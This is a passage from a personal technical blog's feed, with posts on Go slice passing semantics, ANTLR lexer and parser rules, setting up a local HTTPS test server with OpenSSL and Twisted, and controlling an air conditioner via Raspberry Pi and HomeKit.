class="title">modify</span><span class="params">(B []<span class="type">int</span>)</span></span> &#123;</span><br><span class="line">  fmt.Println((*reflect.SliceHeader)(unsafe.Pointer(&amp;B)).Data)</span><br><span class="line">  <span class="keyword">for</span> i := <span class="keyword">range</span> B &#123;</span><br><span class="line">    B[i]++</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  A := []<span class="type">int</span>&#123;<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>&#125;</span><br><span class="line">  fmt.Println((*reflect.SliceHeader)(unsafe.Pointer(&amp;A)).Data)</span><br><span class="line">  modify(A)</span><br><span class="line">  fmt.Println(A)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The printed result is:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">824634466336</span></span><br><span class="line"><span class="number">824634466336</span></span><br><span class="line">[<span class="number">2</span> <span class="number">3</span> <span class="number">4</span>]</span><br></pre></td></tr></table></figure><p>The output shows that they point to the same array, which confirms my hypothesis. Passing by value is effectively like this:</p><p>main: A –&gt; SliceHeader</p><p>Modify:  B –&gt; the same SliceHeader</p><p>Example 2: </p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> <span class="string">&quot;fmt&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">appendToS</span><span class="params">(s []<span class="type">int</span>)</span></span> []<span class="type">int</span> &#123;</span><br><span class="line">  s = <span class="built_in">append</span>(s, <span class="number">100</span>)</span><br><span class="line">  <span class="keyword">return</span> s</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  s := []<span class="type">int</span>&#123;<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>&#125;</span><br><span class="line">  newS := appendToS(s)</span><br><span class="line">  fmt.Println(s)</span><br><span class="line">  fmt.Println(newS)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>After seeing Example 1, you might happily assume that the printed <code>s</code> and <code>newS</code> will be the same, but I’m afraid that guess is wrong. You cannot help wondering why: they clearly point to the same array, so why is there no change?</p><p>The printed result is as follows:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[<span class="number">1</span> <span class="number">2</span> <span class="number">3</span>]</span><br><span class="line">[<span class="number">1</span> <span class="number">2</span> <span class="number">3</span> <span class="number">100</span>]</span><br></pre></td></tr></table></figure><p>Now use the <code>unsafe</code> package again:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">&quot;fmt&quot;</span></span><br><span class="line"><span class="string">&quot;reflect&quot;</span></span><br><span class="line"><span class="string">&quot;unsafe&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">appendToS</span><span class="params">(s []<span class="type">int</span>)</span></span> []<span class="type">int</span> &#123;</span><br><span class="line">s = <span class="built_in">append</span>(s, <span class="number">100</span>)</span><br><span class="line"><span class="keyword">return</span> s</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">s := []<span class="type">int</span>&#123;<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>&#125;</span><br><span class="line"></span><br><span class="line">sptr := (*reflect.SliceHeader)(unsafe.Pointer(&amp;s))</span><br><span class="line">fmt.Println(sptr.Len)</span><br><span class="line"></span><br><span class="line">newS := appendToS(s)</span><br><span class="line">fmt.Println(s)</span><br><span class="line">fmt.Println(newS)</span><br><span class="line"></span><br><span class="line">fmt.Println(sptr.Len)</span><br><span class="line">fmt.Println(sptr.Cap)</span><br><span class="line">fmt.Println((*reflect.SliceHeader)(unsafe.Pointer(&amp;newS)).Len)</span><br><span class="line">fmt.Println((*reflect.SliceHeader)(unsafe.Pointer(&amp;newS)).Cap)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The printed result is:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">3</span></span><br><span class="line">[<span class="number">1</span> <span class="number">2</span> <span class="number">3</span>]</span><br><span class="line">[<span class="number">1</span> <span class="number">2</span> <span class="number">3</span> <span class="number">100</span>]</span><br><span class="line"><span class="number">3</span></span><br><span class="line"><span class="number">3</span></span><br><span class="line"><span class="number">4</span></span><br><span class="line"><span class="number">6</span></span><br></pre></td></tr></table></figure><p>This is because the original array has a capacity of 3. When <code>append</code> finds insufficient capacity, it triggers growth, changing the underlying array. If sufficient capacity were available, increasing the length in <code>SliceHeader</code> would let you see the newly added element. Refer to the <code>growslice</code> function in <code>slice.go</code> in the <code>runtime</code> package.</p><ol start="2"><li>Passing a pointer needs no further explanation: it will definitely change.</li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;When I first started learning Go, what puzzled me most was passing slices to functions: had the slice changed or not? I recently discovered that some of my colleagues were not clear about this either, so I decided to take a closer look at whether modifying a slice passed to a function changes the original slice.&lt;/p&gt;
&lt;h4 id=&quot;Slice-structure&quot;&gt;&lt;a href=&quot;#Slice-structure&quot; class=&quot;headerlink&quot; title=&quot;Slice structure&quot;&gt;&lt;/a&gt;Slice structure&lt;/h4&gt;&lt;p&gt;I’ll start with the structure of a slice. As you can see, a slice is actually backed by an array.&lt;/p&gt;
&lt;figure class=&quot;highlight go&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;type&lt;/span&gt; slice &lt;span class=&quot;keyword&quot;&gt;struct&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	array unsafe.Pointer&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	&lt;span class=&quot;built_in&quot;&gt;len&lt;/span&gt;   &lt;span class=&quot;type&quot;&gt;int&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	&lt;span class=&quot;built_in&quot;&gt;cap&lt;/span&gt;   &lt;span class=&quot;type&quot;&gt;int&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;type&lt;/span&gt; SliceHeader &lt;span class=&quot;keyword&quot;&gt;struct&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	Data &lt;span class=&quot;type&quot;&gt;uintptr&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	Len  &lt;span class=&quot;type&quot;&gt;int&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	Cap  &lt;span class=&quot;type&quot;&gt;int&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;</summary>
    
    
    
    
    <category term="Golang" scheme="https://suikammd.github.io/tags/Golang/"/>
    
  </entry>
  
  <entry>
    <title>Lexical and Syntax Analysis with ANTLR</title>
    <link href="https://suikammd.github.io/2020/10/10/antlr-lexer-parser/"/>
    <id>https://suikammd.github.io/2020/10/10/antlr-lexer-parser/</id>
    <published>2020-10-10T06:08:37.000Z</published>
    <updated>2026-11-19T12:58:15.309Z</updated>
    
    <content type="html"><![CDATA[<p>Recently, I have often worked with ANTLR. At first, I only half understood it and got things to work through all kinds of blind trial and error. After finishing that work, I wanted to systematically understand what a compiler frontend actually does: what lexical analysis and syntax analysis do, as well as the syntax of ANTLR lexers and parsers.</p><h2 id="What-Does-a-Compiler-Frontend-Actually-Do"><a href="#What-Does-a-Compiler-Frontend-Actually-Do" class="headerlink" title="What Does a Compiler Frontend Actually Do?"></a>What Does a Compiler Frontend Actually Do?</h2><p>From a fairly high-level perspective, a compiler frontend processes a string in two steps. The first step is lexical analysis, which parses the string into a sequence of tokens. The second step is syntax analysis, which matches the corresponding grammar rules according to the grammar.</p><ol><li><p>Lexical analysis</p><p>Take the SPL query <code>search id |stats count by id </code> as an example. Lexical analysis parses this string into the token sequence search, id, stats, count, by, and |, while also obtaining the type corresponding to each token.</p></li><li><p>Syntax analysis</p><p>The result of lexical analysis serves as the input to the parser. After syntax analysis, the AST for this SPL query is determined.</p></li></ol><span id="more"></span><h2 id="ANTLR-syntax"><a href="#ANTLR-syntax" class="headerlink" title="ANTLR syntax"></a>ANTLR syntax</h2><ol><li><p>Lexer syntax rules</p><p>(1) Matching rules</p><h4 id="Longest-match"><a href="#Longest-match" class="headerlink" title="Longest match"></a>Longest match</h4><p>A string may match multiple lexer rules. In this case, the rule with the longest match is selected. For example:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Input: a=b</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Lexer file</span><br><span class="line">EQ: <span class="string">&#x27;=&#x27;</span>;</span><br><span class="line">IDENTIFIER：[a-zA-z]*;</span><br><span class="line">ANY: .*; // Matches rule ANY</span><br></pre></td></tr></table></figure><p>In this case, lexical analysis does not interpret <code>a=b</code> as a, &#x3D;, and b, but instead treats them as a single whole.</p><h4 id="Ordered-matching"><a href="#Ordered-matching" class="headerlink" title="Ordered matching"></a>Ordered matching</h4><p>When a string matches multiple lexer rules and the matched strings have the same length, the rules are prioritized from top to bottom, and the first rule to appear is matched. For example:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Input: a</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Grammar file</span><br><span class="line">IDENTIFIER：[a-zA-z]*; // Matches rule IDENTIFIER</span><br><span class="line">ANY: .*;</span><br></pre></td></tr></table></figure><p>In this case, lexical analysis gives priority to IDENTIFER, the lexer rule that appears first.</p><p>(2) Understanding grammar keywords: <a href="https://github.com/antlr/antlr4/blob/master/doc/lexer-rules.md">ANTLR lexer syntax</a></p><ul><li><p>skip</p><p>skip tells the lexer to discard the currently matched token and read the next one. For example, when defining a custom grammar, there will inevitably be many spaces. These spaces have no actual meaning, so if you do not want to handle them specially, you can skip them.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">WS: [ \t\r\n\u3000]+ -&gt; skip;</span><br></pre></td></tr></table></figure></li><li><p>more</p><p>I rarely use more. Roughly speaking, it does the opposite of skip: when more is encountered, it tells the lexer to read another token.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">LQUOTE : <span class="string">&#x27;&quot;&#x27;</span> -&gt; more, mode(STR);</span><br><span class="line">mode STR;</span><br><span class="line">STRING : <span class="string">&#x27;&quot;&#x27;</span> -&gt; mode(DEFAULT_MODE) ; // token we want parser to see</span><br><span class="line">TEXT : . -&gt; more ; // collect more text <span class="keyword">for</span> string</span><br></pre></td></tr></table></figure><p>When it encounters <code>&quot;</code>, I tell the lexer that more tokens need to be matched, while also using mode to enter <code>STR</code> mode.</p></li><li><p>mode(x)</p><p>mode creates a new namespace, which can resolve conflicts with other modes. After entering the new namespace, you can use lexer rules defined in other namespaces.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">WHERE: <span class="string">&#x27;where&#x27;</span></span><br><span class="line"></span><br><span class="line">mode(NEWSPACE);</span><br><span class="line">NEWSPACE_WHERE: WHERE -&gt; <span class="built_in">type</span>(WHERE)</span><br></pre></td></tr></table></figure><p>With this syntax, after entering the <code>NEWSPACE</code> namespace, you can reuse <code>WHERE</code>, which is defined in another namespace.</p></li><li><p>pushMode(x)</p><p>Enter a new namespace.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">CDATA   : <span class="string">&#x27;&lt;![CDATA[&#x27;</span> .*? <span class="string">&#x27;]]&gt;&#x27;</span> ;OPEN : <span class="string">&#x27;&lt;&#x27;</span> -&gt; pushMode(INSIDE);</span><br><span class="line">mode INSIDE;</span><br><span class="line">CLOSE        : <span class="string">&#x27;&gt;&#x27;</span> -&gt; popMode ;</span><br><span class="line">SPECIAL_CLOSE: <span class="string">&#x27;?&gt;&#x27;</span> -&gt; popMode ; // close &lt;?xml...?&gt;</span><br><span class="line">SLASH_CLOSE  : <span class="string">&#x27;/&gt;&#x27;</span> -&gt; popMode ;</span><br></pre></td></tr></table></figure><p>At this point, the lexer enters the new namespace <code>INSIDE</code>.</p></li><li><p>popMode(x)</p><p>Exit the current namespace. If you write <code>popMode</code> directly, you return to the previous namespace. You can think of pushMode as continually pushing onto a stack, with the element at the top of the stack representing the current namespace.</p></li><li><p>type(x)</p><p>This solves the problem of using tokens with the same name in different namespaces. Refer to the description of mode(x).</p></li><li><p>channel(x)</p><p>When I use my defined grammar to write SPL, I do not care about things such as comments and spaces. In this situation, comments and spaces can be routed to different channels. Tokens produced by parsing the source file enter the default channel.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">@lexer::members&#123;</span><br><span class="line">public static final int WHITESPACE = 1;</span><br><span class="line">public static final int COMMENTS = 2;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">WS: [ \t\r\n\u3000]+ -&gt; channel(WHITESPACE);</span><br><span class="line">COMMENT: <span class="string">&#x27;//&#x27;</span> .*? <span class="string">&#x27;\n&#x27;</span> -&gt; channel(COMMENTS);</span><br></pre></td></tr></table></figure></li></ul></li><li><p>Parsing rules</p><p>There actually isn’t much to say about the parser: it determines which grammar applies based on the token sequence. Here is a complete example.</p><p>Lexer file</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">lexer grammar Splv1Lexer;</span><br><span class="line"></span><br><span class="line">SORT: <span class="string">&#x27;sort&#x27;</span>;</span><br><span class="line">TOP: <span class="string">&#x27;top&#x27;</span>;</span><br><span class="line">BY: <span class="string">&#x27;by&#x27;</span>;</span><br><span class="line">IDENTIFIER: [a-zA-Z0-9]*</span><br></pre></td></tr></table></figure><p>Grammar file</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">lexer grammar Splv1Parser;</span><br><span class="line">options &#123; tokenVocab=Splv1Lexer; &#125;</span><br><span class="line">main</span><br><span class="line">: operators EOF</span><br><span class="line">;</span><br><span class="line"></span><br><span class="line">operators:</span><br><span class="line">: operator*</span><br><span class="line">;</span><br><span class="line"></span><br><span class="line">operator:</span><br><span class="line">: SORT BY field <span class="comment">#sort</span></span><br><span class="line">| TOP field <span class="comment"># top</span></span><br><span class="line">;</span><br><span class="line"></span><br><span class="line">field: IDENTIFIER;</span><br></pre></td></tr></table></figure><p>Now, when I enter <code>sort by abc</code>, lexical analysis parses it into the tokens <code>SORT</code>, <code>BY</code>, and <code>IDENTIFIER</code>. Then, during syntax analysis, it matches the grammar <code>SORT BY field #sort</code>.</p></li></ol><h2 id="ANTLR-with-Java"><a href="#ANTLR-with-Java" class="headerlink" title="ANTLR with Java"></a>ANTLR with Java</h2><p>I’ll leave this part as a TODO. Haha, mainly because I haven’t set it up either. From a quick look, though, it seems you just need to work with the files automatically generated by ANTLR.</p><p>As shown below:</p><p><img src="/images/antlr-auto-generate-file.jpg" alt="Files automatically generated by ANTLR"></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Recently, I have often worked with ANTLR. At first, I only half understood it and got things to work through all kinds of blind trial and error. After finishing that work, I wanted to systematically understand what a compiler frontend actually does: what lexical analysis and syntax analysis do, as well as the syntax of ANTLR lexers and parsers.&lt;/p&gt;
&lt;h2 id=&quot;What-Does-a-Compiler-Frontend-Actually-Do&quot;&gt;&lt;a href=&quot;#What-Does-a-Compiler-Frontend-Actually-Do&quot; class=&quot;headerlink&quot; title=&quot;What Does a Compiler Frontend Actually Do?&quot;&gt;&lt;/a&gt;What Does a Compiler Frontend Actually Do?&lt;/h2&gt;&lt;p&gt;From a fairly high-level perspective, a compiler frontend processes a string in two steps. The first step is lexical analysis, which parses the string into a sequence of tokens. The second step is syntax analysis, which matches the corresponding grammar rules according to the grammar.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Lexical analysis&lt;/p&gt;
&lt;p&gt;Take the SPL query &lt;code&gt;search id |stats count by id &lt;/code&gt; as an example. Lexical analysis parses this string into the token sequence search, id, stats, count, by, and |, while also obtaining the type corresponding to each token.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Syntax analysis&lt;/p&gt;
&lt;p&gt;The result of lexical analysis serves as the input to the parser. After syntax analysis, the AST for this SPL query is determined.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    
    <category term="DSL" scheme="https://suikammd.github.io/tags/DSL/"/>
    
  </entry>
  
  <entry>
    <title>Setting Up a Local HTTPS Server</title>
    <link href="https://suikammd.github.io/2020/10/09/build-local-https-server/"/>
    <id>https://suikammd.github.io/2020/10/09/build-local-https-server/</id>
    <published>2020-10-09T08:01:05.000Z</published>
    <updated>2026-11-19T12:58:15.309Z</updated>
    
    <content type="html"><![CDATA[<ol><li><p>Generate a certificate<br>(1) Generate an RSA key: openssl genrsa -des3 -out server.key 1024<br>(2) Remove the passphrase protecting the key file: openssl rsa -in server.key -out server.key<br>(3) Generate the CSR for the CA: openssl req -new -key server.key -out server.csr<br>(4) Self-sign the certificate: openssl x509 -req -days 1024 -in server.csr -signkey server.key -out server.crt<br>(5) cat server.crt server.key &gt; server.pem</p><span id="more"></span></li><li><p>Python script</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> twisted.web <span class="keyword">import</span> resource</span><br><span class="line"><span class="keyword">from</span> twisted.web <span class="keyword">import</span> server <span class="keyword">as</span> webserver</span><br><span class="line"><span class="keyword">from</span> twisted.internet <span class="keyword">import</span> reactor</span><br><span class="line"><span class="keyword">from</span> OpenSSL.SSL <span class="keyword">import</span> Context, TLSv1_METHOD</span><br><span class="line"><span class="keyword">import</span> time, threading, logging</span><br><span class="line"></span><br><span class="line">HTTPS_PORT = <span class="number">443</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">HTTPServer</span>(resource.Resource):</span><br><span class="line">    isLeaf = <span class="literal">True</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">getarg</span>(<span class="params">self, req, arg</span>):</span><br><span class="line">        args = req.args</span><br><span class="line">        <span class="keyword">if</span> arg <span class="keyword">not</span> <span class="keyword">in</span> args <span class="keyword">or</span> <span class="built_in">len</span>(args[arg]) == <span class="number">0</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">        <span class="keyword">return</span> args[arg][<span class="number">0</span>]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">render_POST</span>(<span class="params">self, request</span>):</span><br><span class="line">        <span class="built_in">print</span>(request.content.read())</span><br><span class="line">        <span class="keyword">return</span> <span class="string">b&quot;abc&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">render_GET</span>(<span class="params">self, request</span>):</span><br><span class="line">        <span class="keyword">return</span> <span class="string">b&quot;get&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">ContextFactory</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, context</span>):</span><br><span class="line">        self.context = context</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">getContext</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">return</span> self.context</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    cert = <span class="string">&quot;./server.crt&quot;</span></span><br><span class="line">    key = <span class="string">&quot;./server.key&quot;</span></span><br><span class="line"></span><br><span class="line">    httpserver = webserver.Site(HTTPServer())</span><br><span class="line">    context = Context(TLSv1_METHOD)</span><br><span class="line">    context.use_certificate_chain_file(cert)</span><br><span class="line">    context.use_privatekey_file(key)</span><br><span class="line"></span><br><span class="line">    reactor.listenSSL(HTTPS_PORT, httpserver, ContextFactory(context), interface=<span class="string">&#x27;0.0.0.0&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    reactor.run()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure></li><li><p>In macOS Keychain, move the certificate to the System keychain and set its SSL trust setting to Always Trust.</p></li></ol>]]></content>
    
    
    <summary type="html">&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Generate a certificate&lt;br&gt;(1) Generate an RSA key: openssl genrsa -des3 -out server.key 1024&lt;br&gt;(2) Remove the passphrase protecting the key file: openssl rsa -in server.key -out server.key&lt;br&gt;(3) Generate the CSR for the CA: openssl req -new -key server.key -out server.csr&lt;br&gt;(4) Self-sign the certificate: openssl x509 -req -days 1024 -in server.csr -signkey server.key -out server.crt&lt;br&gt;(5) cat server.crt server.key &amp;gt; server.pem&lt;/p&gt;</summary>
    
    
    
    
    <category term="https" scheme="https://suikammd.github.io/tags/https/"/>
    
  </entry>
  
  <entry>
    <title>Using a Raspberry Pi and HomeKit to Control an Air Conditioner</title>
    <link href="https://suikammd.github.io/2019/08/07/Use-HomeKit-Control-AirConditioner/"/>
    <id>https://suikammd.github.io/2019/08/07/Use-HomeKit-Control-AirConditioner/</id>
    <published>2019-08-07T03:35:10.000Z</published>
    <updated>2026-11-19T12:58:15.309Z</updated>
    
    <content type="html"><![CDATA[<p>Every day when I get home or before going to bed, I can never find the air-conditioner remote &#x3D;&#x3D;. After much trial and error, I finally thought of using HomeKit to control my air conditioner. By connecting an infrared transmitter to a Raspberry Pi, I can control the air conditioner directly from my phone! (And I am not going to lose my phone ʕ •ᴥ•ʔ)</p><h1 id="Prerequisites"><a href="#Prerequisites" class="headerlink" title="Prerequisites"></a>Prerequisites</h1><ul><li>Raspberry Pi + infrared transmitter (receiver)</li><li>Female-to-female Dupont wires</li><li>iPhone with the Home app installed</li></ul><span id="more"></span><h1 id="Setup"><a href="#Setup" class="headerlink" title="Setup"></a>Setup</h1><ol><li>Configure the Raspberry Pi:<ul><li>Connect the infrared transmitter to gpio17 (BCM).</li><li>Add <code>dtoverlay=lirc-rpi,gpio_in_pin=18,gpio_out_pin=17</code> to <code>/boot/config.txt</code>.</li><li>Install and configure <code>Lirc</code>.</li></ul></li><li>Configure lircd:<ul><li>Place the configuration file <code>air.lircd.conf</code> in the <code>/etc/lirc/lircd.conf.d</code> directory (make sure the file extension is <code>.conf</code>).</li><li>Restart <code>lirc</code>: <code>sudo systemctl restart lircd.service</code>.</li></ul></li><li>Restart the program:<ul><li>Place <code>ac.conf</code> in <code>/etc/supervisor/conf.d</code>.</li><li>Use the default PIN <code>23333333</code> to pair the accessory with HomeKit.</li></ul></li></ol><p>See the <a href="https://github.com/suikammd/AirConditioner-Homekit">AirConditioner-HomeKit</a> project.</p><h1 id="Results"><a href="#Results" class="headerlink" title="Results"></a>Results</h1><p><img src="https://raw.githubusercontent.com/suikammd/AirConditioner-Homekit/master/resources/images/MainPage.jpg" alt="1"></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Every day when I get home or before going to bed, I can never find the air-conditioner remote &amp;#x3D;&amp;#x3D;. After much trial and error, I finally thought of using HomeKit to control my air conditioner. By connecting an infrared transmitter to a Raspberry Pi, I can control the air conditioner directly from my phone! (And I am not going to lose my phone ʕ •ᴥ•ʔ)&lt;/p&gt;
&lt;h1 id=&quot;Prerequisites&quot;&gt;&lt;a href=&quot;#Prerequisites&quot; class=&quot;headerlink&quot; title=&quot;Prerequisites&quot;&gt;&lt;/a&gt;Prerequisites&lt;/h1&gt;&lt;ul&gt;
&lt;li&gt;Raspberry Pi + infrared transmitter (receiver)&lt;/li&gt;
&lt;li&gt;Female-to-female Dupont wires&lt;/li&gt;
&lt;li&gt;iPhone with the Home app installed&lt;/li&gt;
&lt;/ul&gt;</summary>
    
    
    
    
